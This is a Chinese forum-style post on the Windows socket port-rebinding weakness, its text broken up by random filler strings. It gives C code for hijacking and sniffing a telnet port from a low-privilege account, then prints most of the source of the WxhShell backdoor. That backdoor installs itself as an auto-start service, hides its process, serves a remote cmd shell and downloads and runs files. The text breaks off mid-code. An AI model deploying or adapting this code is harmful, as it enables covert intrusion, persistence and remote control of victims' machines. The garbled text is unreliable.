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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 4uv'l3 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); OHzI!,2] ,UQ4`Mh^L saddr.sin_family = AF_INET; f/9]o $4`RJ{ZJw] saddr.sin_addr.s_addr = htonl(INADDR_ANY); [{_JO+)+n [3s,U4a bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); o}p6qB=;1 /sENoQR 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 KIdlndGs rr2'bf<] 这意味着什么?意味着可以进行如下的攻击: %@L(A1"#D ARW|wXhyf 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 *k'oP~:fT $Q1:>i@I|g 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) jRK<FK KcVCA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 \LRno3 pi? q<p% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 3|%Q{U Q"CZ}B1< 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 no+{9Uf FsZF>vaV 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5aw#!K=J' HE+y1f] 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 H$Fz{[[u uk_?2?>-5 #include GiB3.%R` #include .@.,D% 7< #include PdJtJqA8h\ #include %MgQ. DWORD WINAPI ClientThread(LPVOID lpParam); Os9xZ int main() noa?p&Y1m { YY]JjMkU WORD wVersionRequested; NFPW#-TF DWORD ret; lu_ y 9o^ WSADATA wsaData; -O3^q. BOOL val; ,JRYG<O_T SOCKADDR_IN saddr; BBnbXhxZ SOCKADDR_IN scaddr; ;PI=jp int err; 7Q} P}9n SOCKET s; w``t"v4 SOCKET sc; |vA3+kG int caddsize; '0U+M{ HANDLE mt; ^]^Y~$u DWORD tid; S1wt>}w0$ wVersionRequested = MAKEWORD( 2, 2 ); "jmi
"O* err = WSAStartup( wVersionRequested, &wsaData ); =&xamA) if ( err != 0 ) { <6U{I ' printf("error!WSAStartup failed!\n"); m C_v!nL. return -1; ho
?.\Jq } EbuOPa saddr.sin_family = AF_INET; ^%|{>Mz;c Lo @mQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 lQ!ukl) ZU7e1VaZM saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); <^|8\<J saddr.sin_port = htons(23); o\1"ux;b if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8Z:NT_Ss { $jo}?Y+ printf("error!socket failed!\n"); gCz^JM return -1; SoS[yr } "T?%4^:g val = TRUE; KQaw*T[Q3w //SO_REUSEADDR选项就是可以实现端口重绑定的 C0zE<fl if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1$?O5.X: { 1[D~Eep printf("error!setsockopt failed!\n"); Duj9PV`2 return -1; E {4/$} } .<^dv?@ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [G+M94[A //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 lLxKC7b //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 XUfj 0 + B%fp* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) @fRB0m"3 { {$bAs9L ret=GetLastError(); zGj0'!!- printf("error!bind failed!\n"); w'~f Z* return -1; mWsVOf>g } ?%i|].<-' listen(s,2); <tMiI)0% while(1) .T
L0cf To { `Q<hL {AH caddsize = sizeof(scaddr); Q9q:HGXxv //接受连接请求 bT,]=h"0 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); k+'Rh'> if(sc!=INVALID_SOCKET) M '$n".,p { 8k2prv^ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); c>:}~.~T if(mt==NULL) yDWzsA/X { M['8zN printf("Thread Creat Failed!\n"); F4M<5Yi break; lJpD>\$}@R } *eH[~4 } *^ \xH ,. CloseHandle(mt); q!$ZBw-7>A } @E{c P%fv closesocket(s); I?lQN$A.E WSACleanup(); ^j[>.D return 0; -1Yt3M& } E[/<AY^@!z DWORD WINAPI ClientThread(LPVOID lpParam) k+5:fB)z { QK&<im- SOCKET ss = (SOCKET)lpParam; ;}#tm9S; SOCKET sc; O`g44LW2n unsigned char buf[4096]; *JZU
0Xb SOCKADDR_IN saddr; -d[9mS long num; /~{8/u3 DWORD val; T12?'JL^r DWORD ret; &q#$SU,$( //如果是隐藏端口应用的话,可以在此处加一些判断 P+:FiVj@~ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 %E3|b6k\ saddr.sin_family = AF_INET; m4<8v saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 4};iL) saddr.sin_port = htons(23); X4!`
V? if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Dp8YzWL2^ { _:x/\8P printf("error!socket failed!\n"); y)t< r return -1; W(E!: } F2:+i#lE val = 100; W @Y$!V< if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) O(!J^J3_z { ?5K.#>{ ret = GetLastError(); gG1%.q return -1; b7E= u0 } 1y$Bz?4 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) oL1m<cQo9 { ,@tYD(Z ret = GetLastError(); n,hHh=.Fu return -1; 3Ew-Ia%A } 1Cki}$k@ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) K||9m+ { X3tpW`alo printf("error!socket connect failed!\n"); - U!:. closesocket(sc); (Gf1#,/3~ closesocket(ss); JBtcl#| return -1; \|BtgT *$b } eLJW while(1)
]hpocr { ` :eXXE //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 /Z';#G,z //如果是嗅探内容的话,可以再此处进行内容分析和记录 HUuL3lYka //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 F-k3'eyY num = recv(ss,buf,4096,0); ~>3$Id: if(num>0) j!B+Q send(sc,buf,num,0); YQ}Rg5o else if(num==0) x[U/
8#f& break; |G&<@8O num = recv(sc,buf,4096,0); ;|
##~Y.9 if(num>0) Z@>hN%{d+g send(ss,buf,num,0); 75v 5/5zRn else if(num==0) 7pH(_-TF break; fdc
?`4 } fNPHc_?Ybj closesocket(ss); IeLG/ fB closesocket(sc); \`}Rdr!p% return 0 ; ~McmlJzJG } |&eZ[Sy(=l xQ\/6| Qu,W3d ========================================================== 3%{A"^S=} h}k)7 下边附上一个代码,,WXhSHELL srXGe`VL Pc#8~t}2 ========================================================== eu@hmR8T td%]l1 #include "stdafx.h" <^snS,06 `[3Iz$K= #include <stdio.h> fw$/@31AP? #include <string.h> B38_1X7 #include <windows.h> 9\ZlRYnc= #include <winsock2.h> #_0OYL`(mE #include <winsvc.h> DXu#07\ #include <urlmon.h> c ]M!4. dP63bV #pragma comment (lib, "Ws2_32.lib") ,~u 5SR #pragma comment (lib, "urlmon.lib") h}r* XdE#l/# #define MAX_USER 100 // 最大客户端连接数 !`"@! #define BUF_SOCK 200 // sock buffer Wew'bj
#define KEY_BUFF 255 // 输入 buffer >a7OE=K (7^5jo[D #define REBOOT 0 // 重启 JJ`RF #define SHUTDOWN 1 // 关机 )'3(=F$+l *@/1]W #define DEF_PORT 5000 // 监听端口 >
2_xRn<P 1Z%^U ? #define REG_LEN 16 // 注册表键长度 ^0vK > #define SVC_LEN 80 // NT服务名长度 11t+
a,fM Y5?*=eM // 从dll定义API _^K)> typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Qz)1wf'y typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); jkCa2!WQ'i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); e/hA> typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ks'msSMC tS#=I.ET // wxhshell配置信息 jo-jPYH T struct WSCFG { "#,]`ME; int ws_port; // 监听端口 M"# >?6{ char ws_passstr[REG_LEN]; // 口令 g(Q)fw int ws_autoins; // 安装标记, 1=yes 0=no ]."~) char ws_regname[REG_LEN]; // 注册表键名 KG9h
rT char ws_svcname[REG_LEN]; // 服务名 =v^LShD2^ char ws_svcdisp[SVC_LEN]; // 服务显示名 /$
Gp<.z char ws_svcdesc[SVC_LEN]; // 服务描述信息 Wy1#K)LRb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 qQK0s*^W int ws_downexe; // 下载执行标记, 1=yes 0=no XgRrJ. char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" IIrh|>d_7 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kS_oj }]O*
yFR{j }; fLkZ'~e! tuH8!. // default Wxhshell configuration B-'oB>| struct WSCFG wscfg={DEF_PORT, rXl ~D! "xuhuanlingzhe", :yg:sU 1, H'2&3v "Wxhshell", u /PaXQ "Wxhshell", V9aGo# "WxhShell Service", <X@XbM "Wrsky Windows CmdShell Service", D1w;cV7/d "Please Input Your Password: ", Pnf|9?~$H 1, NQBa+N " http://www.wrsky.com/wxhshell.exe", `| nC r "Wxhshell.exe" abog\0 }; ~)J]`el,Q R"@J*\;$T // 消息定义模块 RNa59b char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 6<aZr\Ufg char *msg_ws_prompt="\n\r? for help\n\r#>"; B$ty`/{w,B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; `N;}Gf-' char *msg_ws_ext="\n\rExit."; A'A5.\UN char *msg_ws_end="\n\rQuit."; q{4W@Um- char *msg_ws_boot="\n\rReboot..."; o>Fc.$ngZ char *msg_ws_poff="\n\rShutdown..."; }5_[t9LX char *msg_ws_down="\n\rSave to "; VycCuq&M n*(9:y=l1 char *msg_ws_err="\n\rErr!"; M1nH!A~o char *msg_ws_ok="\n\rOK!"; 9Yu63s ia 2pr#qh8 char ExeFile[MAX_PATH]; 9E`WZo^. int nUser = 0; Hlh`d N HANDLE handles[MAX_USER]; qDSZ:36 int OsIsNt; T"h@-UcTl %E<.\\^% SERVICE_STATUS serviceStatus; 2EO WbN}M SERVICE_STATUS_HANDLE hServiceStatusHandle; [p& n]T 7hV9nuW // 函数声明 7(8i~} int Install(void); g=ehAg int Uninstall(void); =w&bS,a"y int DownloadFile(char *sURL, SOCKET wsh); r6,EyCWcCs int Boot(int flag); .qd/ft2 void HideProc(void); E&;[E int GetOsVer(void); B=ckRWq int Wxhshell(SOCKET wsl); cd&^ vQL8 void TalkWithClient(void *cs); 3/ ?^d;= int CmdShell(SOCKET sock); dM-qd` int StartFromService(void); 8-JOfq}s int StartWxhshell(LPSTR lpCmdLine); %-nYK3 3t4i2] VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); \*a7o GyH> VOID WINAPI NTServiceHandler( DWORD fdwControl ); XY_hTHJ x]6-r`O7r // 数据结构和表定义 RZY[DoF8u SERVICE_TABLE_ENTRY DispatchTable[] = f6of8BOg { biLNR"/E {wscfg.ws_svcname, NTServiceMain}, %#_"Ie {NULL, NULL} 6%-RKQi }; 24g\xNnt *\-$.w)k // 自我安装 ZXJ]== int Install(void) QLPb5{>KDS { c 5%uiv] char svExeFile[MAX_PATH]; *XU2%"Sc HKEY key; S^8C\ E strcpy(svExeFile,ExeFile); 7:M`k #oDP a<NZC // 如果是win9x系统,修改注册表设为自启动 aAbK{=/y_! if(!OsIsNt) { 2iWSk6%R if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wB(X(nr RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %#jW RegCloseKey(key); o){\qhLp if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \PzJ66DL! RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G (3wI} RegCloseKey(key); {}n]\zO % return 0; ufF>I } ZLGglT'EW> } t?aOZps } j&N {j_M else { $eq*@5B ymW? <\AD, // 如果是NT以上系统,安装为系统服务 Pf:;iXH? SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); n1Wo<$# if (schSCManager!=0) #iiXJnG { eY V Jk7 SC_HANDLE schService = CreateService jhJ'fI ( <r1/& RW, schSCManager, |muZv!,E wscfg.ws_svcname, (&KBYiwr wscfg.ws_svcdisp, yno X=#` SERVICE_ALL_ACCESS, *'n L[] SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , W]oILL"d SERVICE_AUTO_START, wVmQE SERVICE_ERROR_NORMAL, 6QYHPz svExeFile, ri1;i= W NULL, so>jz@!EE NULL, tuslkOE# NULL, eyzXHS*s;L NULL, d6XdN NULL [OYSNAs*y ); =.]{OT if (schService!=0) ET[>kn^# { 3(,c^F CloseServiceHandle(schService); |vPU]R>6 CloseServiceHandle(schSCManager); Y_FQB K U strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); _oE 7< strcat(svExeFile,wscfg.ws_svcname); z^o7&\: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { .3CQFbHF RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); j%)@f0Ng RegCloseKey(key); Rr0]~2R return 0; 8wLGmv^ } jSQM3+`b } "#.L\p{Zy CloseServiceHandle(schSCManager); 13p.dp` } !q1XyQX } ~^J9v+ m>^vr7 return 1; xQ!
Va } |)OC1=As w:9M6+mM^ // 自我卸载 OyQ[}w3o| int Uninstall(void) #G\Ae:O { Ie}7#>S HKEY key; }vd72PB 0E7h+]bh| if(!OsIsNt) { @o6! if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w19OOD RegDeleteValue(key,wscfg.ws_regname); "8
?6;!, RegCloseKey(key); y/>Nx7C0=2 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;!j/t3#a RegDeleteValue(key,wscfg.ws_regname); 63'L58O RegCloseKey(key); j>3Fwg9V return 0; l%qfaU2 } R@KWiV } ,xutI } t$PJ*F67M else { 75iudki cR/e
Zfl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); BkB9u&s^ if (schSCManager!=0) zVis"g` { :4)lmIu SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I7C+XUQkQ if (schService!=0) .uB[zJc { rIX 40,` if(DeleteService(schService)!=0) { ;x&3tN/I CloseServiceHandle(schService); r;O?`~2'4 CloseServiceHandle(schSCManager); `(]mUW return 0; _MTvNs } (L!u[e0[# CloseServiceHandle(schService); D>kkA|> } 'i;ofJ[.c CloseServiceHandle(schSCManager); qc3?Aplj } r#d]"3tH } kdMB.~(K= d;a"rq@a) return 1; bBQHxH}vi } "WqM<kLa R(2MI}T // 从指定url下载文件 |[!0ry*N% int DownloadFile(char *sURL, SOCKET wsh) w_YY~Af { 4VzSqb HRESULT hr; Xg;q\GS/<i char seps[]= "/"; WX+@<y}% char *token; ! &V,+}>) char *file; .>'J ^^ char myURL[MAX_PATH]; HPK}Z|Vl char myFILE[MAX_PATH]; )EG-xo@X 7VJf~\%1j strcpy(myURL,sURL); )' 2vUt`_7 token=strtok(myURL,seps); N]|U-fN\ while(token!=NULL) =OR&,xt { P2)g%$ME file=token; FFH{#|_1 token=strtok(NULL,seps); Kw>gg } YC}$O2 tI2p-d9B GetCurrentDirectory(MAX_PATH,myFILE); CzT_$v_ strcat(myFILE, "\\"); b;I!CyD strcat(myFILE, file); cH7D@p} send(wsh,myFILE,strlen(myFILE),0); '`p0T%w send(wsh,"...",3,0); gOk^("@ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); a[gN+DX%L if(hr==S_OK) BCHI@a return 0; D7$xY\0r else Zn'y"@%t[ return 1; uMP&.Y( Jaf=qwZ/` } zdDJcdbGd1 Fw;Y)y=O // 系统电源模块 +z\O"zlj int Boot(int flag) .LNqU#a { #/pZ#ny HANDLE hToken; /XW,H0pR TOKEN_PRIVILEGES tkp; j!
cB GG_A'eX:I if(OsIsNt) { )^'wcBod, OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); [ \Aor[( LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @i:_JOl tkp.PrivilegeCount = 1; kC[nY tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4HDQj]z/ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); KBGJB`D* if(flag==REBOOT) { B6vmBmN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) oDas~0<oh return 0; LvS3c9|Aj } ihhnB else { ("BFI if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) R:JS)>B return 0; y/2U:H } I!Za2? } h Tn^:%( else { f:g<Bz=u)* if(flag==REBOOT) { ]QU52R@M if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2=NYBOE return 0; K+mtuB]yr } w02HSQ else { wGQ{ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) c#;LH5KI return 0; ?8C+wW } |qNrj~n@ } F]?$Q'U @;,O V&XYn return 1; (A&@
< } (^Do#3 ?\F ,}e // win9x进程隐藏模块 AQ
7e void HideProc(void) 2i(|? XJ^ { {Q(6
.0R UmgLH Cz HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IL:"]`f* if ( hKernel != NULL ) $'FPst8Q< { BK d( pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^Q :K$! ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HIa$0g0J FreeLibrary(hKernel); JN KZ'9 } :M[E-j; f|^f^Hu:{ return; 4QZy-a*tA } |b3/63Ri-0 \+AH>I;vO // 获取操作系统版本 ]VYl Eqe int GetOsVer(void) c\b>4 &n { z:G9Uu3H( OSVERSIONINFO winfo; (
L6`_) winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1aT$07G0 GetVersionEx(&winfo); -<O:isB if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) z"O-d<U5 return 1; )eV40l$
M else 6kuSkd$. return 0; GQZUC\cB } h B+ t
pa O46/[{p+8 // 客户端句柄模块 z*[Z: int Wxhshell(SOCKET wsl) q%vUEQLBp { 2$ rq SOCKET wsh; t3XMQ'] struct sockaddr_in client; t]o gn( DWORD myID; sq^"bLw (os7Q? while(nUser<MAX_USER) W[m_IY { VV4_ int nSize=sizeof(client); _#F'rl6' wsh=accept(wsl,(struct sockaddr *)&client,&nSize); #"M Pe4 if(wsh==INVALID_SOCKET) return 1; By_Ui6:D nJya1AH; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); h5gXYmk if(handles[nUser]==0) %dU}GYL_ closesocket(wsh); "%]dC{ else ybG)=0 nUser++; wm8x1+P } Z9D4;1 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); RVsN r
rZ 7GUJ&U)J return 0; dW`D?$(@, } 1W
g8jr's lBdF9F< // 关闭 socket |Q;o538 void CloseIt(SOCKET wsh) "p{'984r< { 3$cF)5V f closesocket(wsh); f)x}_dw% nUser--; q':wSu u ExitThread(0); *La =7y: } KIFx&A |7$h@KF=S // 客户端请求句柄 9%qMZP0] void TalkWithClient(void *cs) #U}U>4' { 0d ->$gb QO.gt*" SOCKET wsh=(SOCKET)cs; }$1;< char pwd[SVC_LEN]; ,9qB}HG char cmd[KEY_BUFF]; [BBKj)IK char chr[1]; '[8b0\ int i,j; h$k3MhYDes `W n5
.V while (nUser < MAX_USER) { He!!oKK> ELF`uWGE if(wscfg.ws_passstr) { Ekme62Q>u if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B?yt%f1 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l%(`<a]VIB //ZeroMemory(pwd,KEY_BUFF); ~bTae =FP i=0; q'U5QyuC while(i<SVC_LEN) { qo-F9u1J eF^"{a3b // 设置超时 k)V%.Eobf fd_set FdRead; v|(b,J3 struct timeval TimeOut; ~+egu89'TU FD_ZERO(&FdRead); b6vYM_ Q FD_SET(wsh,&FdRead); aX)./ TimeOut.tv_sec=8; d$rUxqB. TimeOut.tv_usec=0; DS}rFU
int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); |u r~s$8y- if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \%Rta$O?S KR(} A" if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N%A`rY}u pwd =chr[0]; v-fi9$#^ if(chr[0]==0xd || chr[0]==0xa) { LIC~Kehi pwd=0; qd~98FS break; |QOJ9~hxD } Df~p'N-$ i++; (TNY2Ke2 8 } OsL%SKs| zWs*kTtA // 如果是非法用户,关闭 socket $>ZP%~O
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); YOV4)P" } w<e;rKr :LiDJF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S?7V
"LF send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); - (_e=3$ >2CusT 2 while(1) { } .3]
Ogke*qM ZeroMemory(cmd,KEY_BUFF); Lp`<L -s aXbNDj
][ // 自动支持客户端 telnet标准 'gZbNg=&[ j=0; %7>AcTN~ while(j<KEY_BUFF) { ).}k6v[4) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L;M^>{> cmd[j]=chr[0]; afF+*\xXN if(chr[0]==0xa || chr[0]==0xd) { \q|7,S,5 cmd[j]=0; ^jha:d break; }u-S j/K } 3P#+)
F~ j++; mKq<'t]^k } 7<1fKrN?GF Z-t}6c'Kg // 下载文件 dmaqXsU8q if(strstr(cmd,"http://")) { XK%W^a*x send(wsh,msg_ws_down,strlen(msg_ws_down),0); `[@^m5?b- if(DownloadFile(cmd,wsh)) J7ktfyQ0W send(wsh,msg_ws_err,strlen(msg_ws_err),0); *hZ~i{c,7 else P
0Efh?oZ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <DXmZ1 } O+o ;aa6 else { VPM|Rj:d /~Zc}o,J switch(cmd[0]) { +2EHmuJ; 7~ *;=,mw // 帮助 4ypRyO case '?': { mX@j send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); P(pd0,%i;a break; cB ab2/ } a:yB%:2 // 安装 8B *E+f0 case 'i': { ,Um 5S6 Z if(Install()) 9V=<| 2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); C|4U78f{ else QJ a4R send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z[#I"-Q~: break; '!wPnYT@D } ~>#LOT ` // 卸载 H_?;h-Y] case 'r': { Y_[g_ if(Uninstall()) k;;nE o~6 send(wsh,msg_ws_err,strlen(msg_ws_err),0); C~ZE95g else #"Eks79s send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Mx/h?}u; break; k40Ep(M} } rDIhpT)a // 显示 wxhshell 所在路径 @A
[)hk&(R case 'p': { _YH<YOrMh char svExeFile[MAX_PATH]; yy1>r }L strcpy(svExeFile,"\n\r"); "H5&3sF2 strcat(svExeFile,ExeFile); 7o;x (9 send(wsh,svExeFile,strlen(svExeFile),0); cP*c(k~N break; nU}~I)@V } M MAAHo // 重启 :v#k&Uh3y case 'b': { _&W0e} 4 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); #"Fg%36Zd if(Boot(REBOOT)) ,dHP`j ? send(wsh,msg_ws_err,strlen(msg_ws_err),0); oy2(A g\ else { IIq"e~"Vs closesocket(wsh); )UR1E?' ExitThread(0); 4-y6MH } yDd=&
T
break; `0yb?Nk `: } 3hc#FmLr2b // 关机 ^pJ0nY#c case 'd': { McEmd.S<n send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b\1+kB/8 if(Boot(SHUTDOWN)) 'oC$6l'rQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); (JevHdI*V else { jo_o`j closesocket(wsh); ]|,vCKju ExitThread(0); XDHLEG-u( } Ru)(dvk}S break; U8YO0}_z } (F_w>w.h // 获取shell a|UqeNI{ case 's': { a
]>V ZOet CmdShell(wsh); gk"mr_03 closesocket(wsh); lNHNL
a>W ExitThread(0); .SG0}8gW break; e d_m +NM } gC0;2 // 退出 LxB&7 case 'x': { iNt 4> send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ^Ss<X}es- CloseIt(wsh); _=uviMuE break; 6!Qknk$ } s}jlS // 离开 w.tW=z5 case 'q': { hPcS,
p{% send(wsh,msg_ws_end,strlen(msg_ws_end),0); H;qJH1EdD closesocket(wsh); NNgK:YibD WSACleanup(); Y7-*2"! exit(1); Cgo9rC~] break; L4~
W/6A } &%6NQWW } ?C}sR: K/ } 9MT3T?IS ):S!Nl // 提示信息 am2a#4` if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uw_H:-J } pOKeEW<q } )qmFK
.;% N^lAG"Jao[ return;
F,zG;_ } bhn5Lz$z |!oXvXU // shell模块句柄 0:. 6rp int CmdShell(SOCKET sock) GJvp{U}y9I { ~zMDY F"& STARTUPINFO si; -rO*7HO ZeroMemory(&si,sizeof(si)); |e:rYLxm: si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l/M[am si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /,X7.t_- PROCESS_INFORMATION ProcessInfo; :b5XKv^ char cmdline[]="cmd"; 4j^bpfb, CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ?&6Q%IUW1 return 0; x df?nt } 8]HY. $E w]}f6VlEl // 自身启动模式 ?T
<rt int StartFromService(void) k&!6fZ) { |WBZN1W) typedef struct <W2ZoqaV { HJ",Sle DWORD ExitStatus; Tv1]v. DWORD PebBaseAddress; bf(+ldq DWORD AffinityMask; a5)JkC DWORD BasePriority; V,m3-=q ULONG UniqueProcessId; AC'lS
